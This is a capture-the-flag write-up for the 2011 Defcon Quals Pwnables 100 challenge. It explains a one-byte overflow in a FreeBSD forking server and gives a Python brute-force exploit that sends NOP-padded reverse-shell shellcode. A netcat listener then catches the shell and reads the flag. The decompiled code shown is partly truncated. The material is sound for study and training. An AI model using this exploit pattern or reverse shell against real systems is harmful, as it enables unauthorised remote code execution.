Defcon CTF Quals 2011 – Pwnables 100

This challenge was on remote exploiting. The binary is for FreeBSD.


Summary: buffer overflow, jump to shellcode (bruteforce address)

The given program is a forking tcp server. Client serve function:

int __cdecl client_sub(int sock)
  char buf[100]; // [sp+28h] [bp-80h]@7
  int n_to_read; // [sp+8Ch] [bp-1Ch]@1
  int (*p_fprintf)(int, const char *, ...); // [sp+90h] [bp-18h]@1
  int (__cdecl *p_read_until)(int, int, unsigned int, char);
  int *step; // [sp+98h] [bp-10h]@1
  int i; // [sp+9Ch] [bp-Ch]@3
  char *ptr; // [sp+A4h] [bp-4h]@1

  n_to_read = 100;
  p_fprintf = fprintf;
  p_read_until = read_until;
  step = 0;

  ptr = malloc(0x20u);
  read_until(sock, ptr, 0x20u, 10);
  if ( strncmp(ptr, "tomod@chi4j00l333people$", 0x20u) ) {
    return 0;

  for (i = 0; i <= 19; ++i) {
    switch (i) {
    case 0:
      step = magic(&step0, sock, 0, 0, p_fprintf, p_read_until);
    case 1:
      step = magic(&step2a, sock, 101, buf, p_fprintf, p_read_until);
    case 18:
      step = magic(&step2, sock, n_to_read, buf, p_fprintf, p_read_until);
      if ( !step )
      step = magic(step, sock, n_to_read, buf, p_fprintf, p_read_until);
  return 0;

Ok, we see that it checks for a hardcoded password ( tomod@chi4j00l333people$ ). Let’s see what actually happens then:

$ nc 3555
Your baby hacker is born...
Whare are you going to name your little hackerling?
hellman  # <- this is my input
Your hackerling is hungry. What shall you feed it?
0. Kit kat bar
1. Jolt
2. deadbeef
Wrong choice

Well, it’s not hard to get the right answer, it’s 1. Jolt:

Your hackerling is hungry. What shall you feed it?
0. Kit kat bar
1. Jolt
2. deadbeef
OMG whatd you do your hacker just dropped an 0day and not the profitable type
Poor hackerling is sick.. Drugs?
0. Provigil
1. The Cloud
2. Booze
3. Viagra from that sweet spam ad...
Poor hackerling is sick.. Drugs?

The second question is repeated 14 times and the answer is 3. After all questions we have this:

Congrats your hackerling is 18... he wants to change his name though
hellman2  # <- my input again
After turning 18 and changing his name, the little hackerling jumps off a rock at havisu and dies. Spring break!

Well, we have guessed that magic function asks for a question or reads name or prints something, depending on the step we are on.

The third parameter to it is the number of bytes to read from the user. When it asks for the name at first time, it reads 101 byte into 100-bytes buffer. Oops, overflow. Only one byte! But it is really meaningful: it's the lowest byte of the variable n_to_read, which stores number of bytes to read at last time! Usually it's 100 but we can easily make it 255. Then we can reach return address, or some function pointers, e.g. p_fprintf: buf + 104.
So, exploit is:

  • send 100-bytes name + 0xff
  • answer stupid questions
  • send shellcode, padded to 104 bytes, and a supposed address of the shellcode

Then we just bruteforce address of the shellcode on the stack, and get the shell:

def sock():
    f = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    f.connect(("", 3555))
    return f

SC = open("payload").read()
padlen = 104 - len(SC)

addr = 0xbfbffff0
while addr > 0xbfbe0000:
    f = sock()

    f.send("A" * 100 + "\xff\n")
    f.send("3\n" * 14)

    f.send(SC.rjust(104, "\x90") + struct.pack("<I", addr) + "\n")

    addr -= padlen
    print hex(addr)

Shellcode is metasploit's bsd/x86/shell_reverse_tcp:

$ nc -lvp 3123
listening on [any] 3123 ...
connect to [] from bsd [] 18863
cat key
godzilla ate my tomagaci

The flag: godzilla ate my tomagaci

Leave a Reply

Your email address will not be published.